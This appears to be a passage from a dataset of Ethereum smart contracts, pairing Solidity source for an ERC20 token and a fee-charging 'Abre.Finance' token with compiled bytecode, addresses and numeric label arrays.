2560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105b9565b6001600160a01b038216610ea45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105b9565b6001600160a01b03831660009081526020819052604090205481811015610f1c5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016105b9565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290610f53908490611f32565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f9f91815260200190565b60405180910390a3610dd8848484611381565b6000306001600160a01b037f000000000000000000000000f344b01da08b142d2466dae9e47e333f22e645881614801561100b57507f000000000000000000000000000000000000000000000000000000000000000146145b1561103557507f03db843de9b48e8528f83b1f26add7805b408859186e862519f6457e3393997290565b50604080517f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6020808301919091527f78350ec25436ffb5e9bf2ca80e536345fcd046f5f24ee99edb7a648a268ea6aa828401527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc660608301524660808301523060a0808401919091528351808403909101815260c0909201909252805191012090565b8154600090815b8181101561113d5760006110f4828461138c565b90508486828154811061110957611109611f96565b60009182526020909120015463ffffffff16111561112957809250611137565b611134816001611f32565b91505b506110e0565b8115611181578461114f600184611f7f565b8154811061115f5761115f611f96565b60009182526020909120015464010000000090046001600160e01b0316611184565b60005b6001600160e01b031695945050505050565b61061f82826113a7565b6001600160a01b038281166000818152600760208181526040808420805485845282862054949093528787166001600160a01b03198416811790915590519190951694919391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a4610dd8828483611431565b600063ffffffff82111561127e5760405162461bcd60e51b815260206004820152602660248201527f53616665436173743a2076616c756520646f65736e27742066697420696e203360448201526532206269747360d01b60648201526084016105b9565b5090565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b61061f828261156e565b60006106526112eb610fb2565b8360405161190160f01b6020820152602281018390526042810182905260009060620160405160208183030381529060405280519060200120905092915050565b600080600061133d87878787611586565b9150915061134a81611673565b5095945050505050565b6001600160a01b03811660009081526006602052604090208054600181018255905b50919050565b505050565b61137c83838361182e565b600061139b6002848418611fac565b6105e490848416611f32565b6113b18282611860565b6002546001600160e01b0310156114235760405162461bcd60e51b815260206004820152603060248201527f4552433230566f7465733a20746f74616c20737570706c79207269736b73206f60448201526f766572666c6f77696e6720766f74657360801b60648201526084016105b9565b610dd8600961194783611953565b816001600160a01b0316836001600160a01b0316141580156114535750600081115b1561137c576001600160a01b038316156114e1576001600160a01b0383166000908152600860205260408120819061148e90611acc85611953565b91509150846001600160a01b03167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a72483836040516114d6929190918252602082015260400190565b60405180910390a250505b6001600160a01b0382161561137c576001600160a01b038216600090815260086020526040812081906115179061194785611953565b91509150836001600160a01b03167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724838360405161155f929190918252602082015260400190565b60405180910390a25050505050565b6115788282611ad8565b610dd86009611acc83611953565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08311156115bd575060009050600361166a565b8460ff16601b141580156115d557508460ff16601c14155b156115e6575060009050600461166a565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa15801561163a573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166116635760006001925092505061166a565b9150600090505b94509492505050565b600081600481111561168757611687611fce565b14156116905750565b60018160048111156116a4576116a4611fce565b14156116f25760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e6174757265000000000000000060448201526064016105b9565b600281600481111561170657611706611fce565b14156117545760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e6774680060448201526064016105b9565b600381600481111561176857611768611fce565b14156117c15760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b60648201526084016105b9565b60048160048111156117d5576117d5611fce565b141561062d5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b60648201526084016105b9565b6001600160a01b0383811660009081526007602052604080822054858416835291205461137c92918216911683611431565b6001600160a01b0382166118b65760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016105b9565b80600260008282546118c89190611f32565b90915550506001600160a01b038216600090815260208190526040812080548392906118f5908490611f32565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a361061f60008383611381565b60006105e48284611f32565b82546000908190801561199e578561196c600183611f7f565b8154811061197c5761197c611f96565b60009182526020909120015464010000000090046001600160e01b03166119a1565b60005b6001600160e01b031692506119ba83858763ffffffff16565b91506000811180156119f8575043866119d4600184611f7f565b815481106119e4576119e4611f96565b60009182526020909120015463ffffffff16145b15611a5857611a0682611c2d565b86611a12600184611f7f565b81548110611a2257611a22611f96565b9060005260206000200160000160046101000a8154816001600160e01b0302191690836001600160e01b03160217905550611ac3565b856040518060400160405280611a6d43611219565b63ffffffff168152602001611a8185611c2d565b6001600160e01b0390811690915282546001810184556000938452602093849020835194909301519091166401000000000263ffffffff909316929092179101555b50935093915050565b60006105e48284611f7f565b6001600160a01b038216611b385760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084016105b9565b6001600160a01b03821660009081526020819052604090205481811015611bac5760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b60648201526084016105b9565b6001600160a01b0383166000908152602081905260408120838303905560028054849290611bdb908490611f7f565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a361137c83600084611381565b60006001600160e01b0382111561127e5760405162461bcd60e51b815260206004820152602760248201527f53616665436173743a2076616c756520646f65736e27742066697420696e20326044820152663234206269747360c81b60648201526084016105b9565b600060208083528351808285015260005b81811015611cc357858101830151858201604001528201611ca7565b81811115611cd5576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114611d0257600080fd5b919050565b60008060408385031215611d1a57600080fd5b611d2383611ceb565b946020939093013593505050565b600080600060608486031215611d4657600080fd5b611d4f84611ceb565b9250611d5d60208501611ceb565b9150604084013590509250925092565b600060208284031215611d7f57600080fd5b6105e482611ceb565b600060208284031215611d9a57600080fd5b5035919050565b803560ff81168114611d0257600080fd5b60008060008060008060c08789031215611dcb57600080fd5b611dd487611ceb565b95506020870135945060408701359350611df060608801611da1565b92506080870135915060a087013590509295509295509295565b600080600080600080600060e0888a031215611e2557600080fd5b611e2e88611ceb565b9650611e3c60208901611ceb565b95506040880135945060608801359350611e5860808901611da1565b925060a0880135915060c0880135905092959891949750929550565b60008060408385031215611e8757600080fd5b611e9083611ceb565b9150611e9e60208401611ceb565b90509250929050565b60008060408385031215611eba57600080fd5b611ec383611ceb565b9150602083013563ffffffff81168114611edc57600080fd5b809150509250929050565b600181811c90821680611efb57607f821691505b6020821081141561137657634e487b7160e01b600052602260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60008219821115611f4557611f45611f1c565b500190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600082821015611f9157611f91611f1c565b500390565b634e487b7160e01b600052603260045260246000fd5b600082611fc957634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052602160045260246000fdfea164736f6c6343000809000a | [
7,
11,
9,
12,
13,
5
] |
0xF3456629fe99152157187ce679e1c25B12c27Db4 | pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value >= balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
} | 0x6060604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014d57806318160ddd146101a757806323b872dd146101d0578063313ce5671461024957806342966c681461027857806370a08231146102b357806379cc67901461030057806395d89b411461035a578063a9059cbb146103e8578063cae9ca511461042a578063dd62ed3e146104c7575b600080fd5b34156100ca57600080fd5b6100d2610533565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101125780820151818401526020810190506100f7565b50505050905090810190601f16801561013f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015857600080fd5b61018d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105d1565b604051808215151515815260200191505060405180910390f35b34156101b257600080fd5b6101ba61065e565b6040518082815260200191505060405180910390f35b34156101db57600080fd5b61022f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610664565b604051808215151515815260200191505060405180910390f35b341561025457600080fd5b61025c610791565b604051808260ff1660ff16815260200191505060405180910390f35b341561028357600080fd5b61029960048080359060200190919050506107a4565b604051808215151515815260200191505060405180910390f35b34156102be57600080fd5b6102ea600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506108a8565b6040518082815260200191505060405180910390f35b341561030b57600080fd5b610340600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108c0565b604051808215151515815260200191505060405180910390f35b341561036557600080fd5b61036d610ada565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103ad578082015181840152602081019050610392565b50505050905090810190601f1680156103da5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103f357600080fd5b610428600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b78565b005b341561043557600080fd5b6104ad600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610b87565b604051808215151515815260200191505060405180910390f35b34156104d257600080fd5b61051d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d01565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c95780601f1061059e576101008083540402835291602001916105c9565b820191906000526020600020905b8154815290600101906020018083116105ac57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60035481565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156106f157600080fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550610786848484610d26565b600190509392505050565b600260009054906101000a900460ff1681565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156107f457600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816003600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b60046020528060005260406000206000915090505481565b600081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561091057600080fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561099b57600080fd5b81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816003600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b705780601f10610b4557610100808354040283529160200191610b70565b820191906000526020600020905b815481529060010190602001808311610b5357829003601f168201915b505050505081565b610b83338383610d26565b5050565b600080849050610b9785856105d1565b15610cf8578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610c91578082015181840152602081019050610c76565b50505050905090810190601f168015610cbe5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1515610cdf57600080fd5b5af11515610cec57600080fd5b50505060019150610cf9565b5b509392505050565b6005602052816000526040600020602052806000526040600020600091509150505481565b6000808373ffffffffffffffffffffffffffffffffffffffff1614151515610d4d57600080fd5b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610d9b57600080fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540110151515610e2a57600080fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401905081600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a380600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540114151561103757fe5b505050505600a165627a7a723058204bbd2bcc8c6f004e7eaa5ed32a1faedcef6c9e89d63c5e92860276a9a8e1982c0029 | [
17
] |
0xf34588114f10b5d8e620c6f53b65d2f57a73f0da | pragma solidity >=0.6.2;
import "./Context.sol";
import "./IERC20.sol";
import "./Ownable.sol";
import "./SafeMath.sol";
import "./Address.sol";
contract abre is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => uint256) private _mock;
mapping(address => uint256) private _scores;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private constant _totalSupply = 10 * 10**6 * 10**18;
uint256 private constant _antiBotsPeriod = 45;
uint256 private _totalFees;
uint256 private _totalScores;
uint256 private _rate;
mapping(address => bool) private _exchanges;
mapping(address => uint256) private _lastTransactionPerUser;
string private _name = 'Abre.Finance';
string private _symbol = 'ABRE';
uint8 private _decimals = 18;
constructor() public {
_balances[_msgSender()] = _totalSupply;
_exchanges[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
// ERC20 STRUCTURE
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
if (_exchanges[account]) return _balances[account];
return _calculateBalance(account);
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, 'ERC20: transfer amount exceeds allowance'));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, 'ERC20: decreased allowance below zero'));
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), 'ERC20: approve from the zero address');
require(spender != address(0), 'ERC20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address sender,
address recipient,
uint256 amount
) private {
require(sender != address(0), 'ERC20: transfer from the zero address');
require(recipient != address(0), 'ERC20: transfer to the zero address');
if (_exchanges[sender] && !_exchanges[recipient]) {
_transferFromExchangeToUser(sender, recipient, amount);
}
else if (!_exchanges[sender] && _exchanges[recipient]) {
_transferFromUserToExchange(sender, recipient, amount);
}
else if (!_exchanges[sender] && !_exchanges[recipient]) {
_transferFromUserToUser(sender, recipient, amount);
}
else if (_exchanges[sender] && _exchanges[recipient]) {
_transferFromExchangeToExchange(sender, recipient, amount);
} else {
_transferFromUserToUser(sender, recipient, amount);
}
}
// SETTERS
function _transferFromExchangeToUser(
address exchange,
address user,
uint256 amount
) private {
require(_calculateBalance(exchange) >= amount, 'ERC20: transfer amount exceeds balance');
(uint256 fees,, uint256 scoreRate, uint256 amountSubFees) = _getWorth(_calculateBalance(user).add(amount), user, amount, true);
_balances[exchange] = _calculateBalance(exchange).sub(amount);
_balances[user] = _calculateBalance(user).add(amountSubFees);
_reScore(user, scoreRate);
_reRate(fees);
_lastTransactionPerUser[user] = block.number;
emit Transfer(exchange, user, amount);
}
function _transferFromUserToExchange(
address user,
address exchange,
uint256 amount
) private {
require(_calculateBalance(user) >= amount, 'ERC20: transfer amount exceeds balance');
(uint256 fees,, uint256 scoreRate, uint256 amountSubFees) = _getWorth(_calculateBalance(user), user, amount, true);
_balances[exchange] = _calculateBalance(exchange).add(amountSubFees);
_balances[user] = _calculateBalance(user).sub(amount);
_reScore(user, scoreRate);
_reRate(fees);
_lastTransactionPerUser[user] = block.number;
emit Transfer(user, exchange, amount);
}
function _transferFromUserToUser(
address sender,
address recipient,
uint256 amount
) private {
require(_calculateBalance(sender) >= amount, 'ERC20: transfer amount exceeds balance');
(uint256 fees,, uint256 senderScoreRate, uint256 amountSubFees) = _getWorth(_calculateBalance(sender), sender, amount, true);
(,, uint256 recipientScoreRate,) = _getWorth(_calculateBalance(recipient).add(amount), recipient, amount, false);
_balances[recipient] = _calculateBalance(recipient).add(amountSubFees);
_balances[sender] = _calculateBalance(sender).sub(amount);
_reScore(sender, senderScoreRate);
_reScore(recipient, recipientScoreRate);
_reRate(fees);
_lastTransactionPerUser[sender] = block.number;
emit Transfer(sender, recipient, amount);
}
function _transferFromExchangeToExchange(
address sender,
address recipient,
uint256 amount
) private {
require(_calculateBalance(sender) >= amount, 'ERC20: transfer amount exceeds balance');
_balances[sender] = _calculateBalance(sender).sub(amount);
_balances[recipient] = _calculateBalance(recipient).add(amount);
emit Transfer(sender, recipient, amount);
}
function _reScore(address account, uint256 score) private {
_totalScores = _totalScores.sub(_scores[account]);
_scores[account] = _balances[account].mul(score);
_mock[account] = _scores[account].mul(_rate).div(1e18);
_totalScores = _totalScores.add(_scores[account]);
}
function _reRate(uint256 fees) private {
_totalFees = _totalFees.add(fees);
if(_totalScores > 0)
_rate = _rate.add(fees.mul(1e18).div(_totalScores));
}
function setExchange(address account) public onlyOwner() {
require(!_exchanges[account], 'Account is already exchange');
_balances[account] = _calculateBalance(account);
_totalScores = _totalScores.sub(_scores[account]);
_scores[account] = 0;
_exchanges[account] = true;
}
function removeExchange(address account) public onlyOwner() {
require(_exchanges[account], 'Account not exchange');
(,, uint256 scoreRate,) = _getWorth(_calculateBalance(account), account, _calculateBalance(account), false);
_balances[account] = _calculateBalance(account);
if (scoreRate > 0) _reScore(account, scoreRate);
_exchanges[account] = false;
}
// PUBLIC GETTERS
function getScore(address account) public view returns (uint256) {
return _scores[account];
}
function getTotalScores() public view returns (uint256) {
return _totalScores;
}
function getTotalFees() public view returns (uint256) {
return _totalFees;
}
function isExchange(address account) public view returns (bool) {
return _exchanges[account];
}
function getTradingFees(address account) public view returns (uint256) {
(, uint256 feesRate,,) = _getWorth(_calculateBalance(account), account, 0, true);
return feesRate;
}
function getLastTransactionPerUser(address account) public view returns (uint256) {
return _lastTransactionPerUser[account];
}
// PRIVATE GETTERS
function _getWorth(
uint256 balance,
address account,
uint256 amount,
bool antiBots
)
private
view
returns (
uint256,
uint256,
uint256,
uint256
)
{
uint256 fees;
uint256 feesRate;
uint256 scoreRate;
uint256 _startCategory = 500 * 10**18;
if (balance < _startCategory) {
feesRate = 120;
fees = amount.mul(feesRate).div(10000);
scoreRate = 10;
} else if (balance >= _startCategory && balance < _startCategory.mul(10)) {
feesRate = 110;
fees = amount.mul(feesRate).div(10000);
scoreRate = 100;
} else if (balance >= _startCategory.mul(10) && balance < _startCategory.mul(50)) {
feesRate = 100;
fees = amount.mul(feesRate).div(10000);
scoreRate = 110;
} else if (balance >= _startCategory.mul(50) && balance < _startCategory.mul(100)) {
feesRate = 90;
fees = amount.mul(feesRate).div(10000);
scoreRate = 120;
} else if (balance >= _startCategory.mul(100) && balance < _startCategory.mul(200)) {
feesRate = 75;
fees = amount.mul(feesRate).div(10000);
scoreRate = 130;
} else if (balance >= _startCategory.mul(200)) {
feesRate = 50;
fees = amount.mul(feesRate).div(10000);
scoreRate = 140;
} else {
feesRate = 100;
fees = amount.mul(feesRate).div(10000);
scoreRate = 0;
}
if (antiBots == true && block.number < _lastTransactionPerUser[account].add(_antiBotsPeriod)) {
feesRate = 500;
fees = amount.mul(feesRate).div(10000);
}
uint256 amountSubFees = amount.sub(fees);
return (fees, feesRate, scoreRate, amountSubFees);
}
function _calculateFeesForUser(address account) private view returns (uint256) {
return _scores[account] > 0 ? _scores[account].mul(_rate).div(1e18).sub(_mock[account]) : 0;
}
function _calculateBalance(address account) private view returns (uint256) {
return _calculateFeesForUser(account) > 0 ? _calculateFeesForUser(account).add(_balances[account]) : _balances[account];
}
} | 0x608060405234801561001057600080fd5b50600436106101415760003560e01c8063715018a6116100b857806395d89b411161007c57806395d89b41146105d9578063a457c2d71461065c578063a9059cbb146106c2578063d47875d014610728578063dd62ed3e14610780578063f2fde38b146107f857610141565b8063715018a6146104cb578063726a96f5146104d55780638da5cb5b1461052d5780638e0be369146105775780639471676c146105bb57610141565b8063313ce5671161010a578063313ce5671461032f57806339509351146103535780633cbeda18146103b9578063626e1ae71461041157806367b1f5df1461042f57806370a082311461047357610141565b806236d2d31461014657806306fdde03146101a2578063095ea7b31461022557806318160ddd1461028b57806323b872dd146102a9575b600080fd5b6101886004803603602081101561015c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061083c565b604051808215151515815260200191505060405180910390f35b6101aa610892565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101ea5780820151818401526020810190506101cf565b50505050905090810190601f1680156102175780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102716004803603604081101561023b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610934565b604051808215151515815260200191505060405180910390f35b610293610952565b6040518082815260200191505060405180910390f35b610315600480360360608110156102bf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610965565b604051808215151515815260200191505060405180910390f35b610337610a3e565b604051808260ff1660ff16815260200191505060405180910390f35b61039f6004803603604081101561036957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a55565b604051808215151515815260200191505060405180910390f35b6103fb600480360360208110156103cf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b08565b6040518082815260200191505060405180910390f35b610419610b2f565b6040518082815260200191505060405180910390f35b6104716004803603602081101561044557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b39565b005b6104b56004803603602081101561048957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e08565b6040518082815260200191505060405180910390f35b6104d3610eb4565b005b610517600480360360208110156104eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061103c565b6040518082815260200191505060405180910390f35b610535611085565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105b96004803603602081101561058d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110ae565b005b6105c3611316565b6040518082815260200191505060405180910390f35b6105e1611320565b